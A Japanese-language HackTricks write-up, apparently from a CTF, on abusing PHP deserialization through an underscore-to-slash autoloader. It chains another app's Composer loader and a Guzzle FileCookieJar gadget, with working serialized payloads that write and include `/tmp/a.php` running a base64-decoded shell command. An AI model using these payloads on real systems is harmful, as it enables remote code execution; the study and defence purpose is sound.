8.9 KiB
PHP - Deserialization + Autoload Classes
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
まず、オートローディングクラスが何であるかを確認する必要があります。
PHPデシリアライズ + spl_autoload_register + LFI/Gadget
私たちは、phpggc
内にガジェットに脆弱なライブラリがないウェブアプリでPHPデシリアライズを見つけた状況にいます。しかし、同じコンテナ内には脆弱なライブラリを持つ別のComposerウェブアプリがありました。したがって、目標は他のウェブアプリのComposerローダーを読み込み、それを悪用してデシリアライズに脆弱なウェブアプリのガジェットを使用してそのライブラリを攻撃することでした。
手順:
- デシリアライズを見つけ、現在のアプリコードにはガジェットがない
- 次のような**
spl_autoload_register
関数を悪用して、.php
拡張子のローカルファイルを読み込む** - そのために、クラス名が**
$name
の中に入るデシリアライズを使用します。シリアライズされたオブジェクトのクラス名に"/"や"."を使用することはできませんが、コードはアンダースコア**("_")をスラッシュ("/")に置き換えています。したがって、tmp_passwd
のようなクラス名は/tmp/passwd.php
に変換され、コードはそれを読み込もうとします。
ガジェットの例は次のようになります:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
{% hint style="success" %}
もしファイルアップロードがあり、.php
拡張子のファイルをアップロードできる場合、この機能を直接悪用して、すでにRCEを取得することができます。
{% endhint %}
私の場合、そのようなものはありませんでしたが、同じコンテナ内に**phpggc
ガジェットに脆弱なライブラリ**を持つ別のComposerウェブページがありました。
- この別のライブラリを読み込むには、まずその別のウェブアプリのComposerローダーを読み込む必要があります(現在のアプリケーションのものでは他のライブラリにアクセスできません)。アプリケーションのパスを知っていれば、次のように非常に簡単に実現できます:
O:28:"www_frontend_vendor_autoload":0:{}
(私の場合、Composerローダーは/www/frontend/vendor/autoload.php
にありました) - さて、他のアプリのComposerローダーを読み込むことができるので、使用するための
phpgcc
ペイロードを生成する時が来ました。私の場合、Guzzle/FW1
を使用し、これによりファイルシステム内の任意のファイルを書き込むことができました。 - 注:生成されたガジェットは機能しませんでした。機能させるために、
chain.php
のペイロードを修正し、クラスのすべての属性をprivateからpublicに設定しました。そうしないと、文字列をデシリアライズした後、作成されたオブジェクトの属性には値がありませんでした。 - これで、他のアプリのComposerローダーを読み込む方法があり、機能するphpggcペイロードもありますが、ガジェットが使用されるときにローダーが読み込まれるように、同じリクエスト内でこれを行う必要があります。そのため、次のように両方のオブジェクトを含むシリアライズされた配列を送信しました:
- 最初にローダーが読み込まれ、その後ペイロードが表示されるのがわかります。
{% code overflow="wrap" %}
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
{% endcode %}
- さて、ファイルを作成して書き込むことができますが、ユーザーはウェブサーバー内の任意のフォルダーに書き込むことができません。したがって、ペイロードに示されているように、PHPは**
system
を呼び出し、いくつかのbase64が/tmp/a.php
に作成されます。次に、最初のタイプのペイロードを再利用して、他のウェブアプリのコンポーザーローダーを読み込むために、生成された/tmp/a.php
**ファイルを読み込むことができます。それをデシリアライズガジェットに追加するだけです:
{% code overflow="wrap" %}
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}
ペイロードの概要
- 同じコンテナ内の別のウェブアプリのcomposerオートロードを読み込む
- phpggcガジェットを読み込む ことで、他のウェブアプリのライブラリを悪用する(最初のウェブアプリはデシリアライズに対して脆弱で、ライブラリにガジェットがなかった)
- ガジェットは、悪意のあるコマンドを含むPHPペイロードを/tmp/a.phpに作成する(ウェブアプリのユーザーは、どのウェブアプリのフォルダーにも書き込むことができない)
- ペイロードの最終部分は、生成されたPHPファイルを読み込むことでコマンドを実行する
私はこのデシリアライズを2回呼び出す必要があった。私のテストでは、最初の時に/tmp/a.phpファイルが作成されたが読み込まれず、2回目に正しく読み込まれた。
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.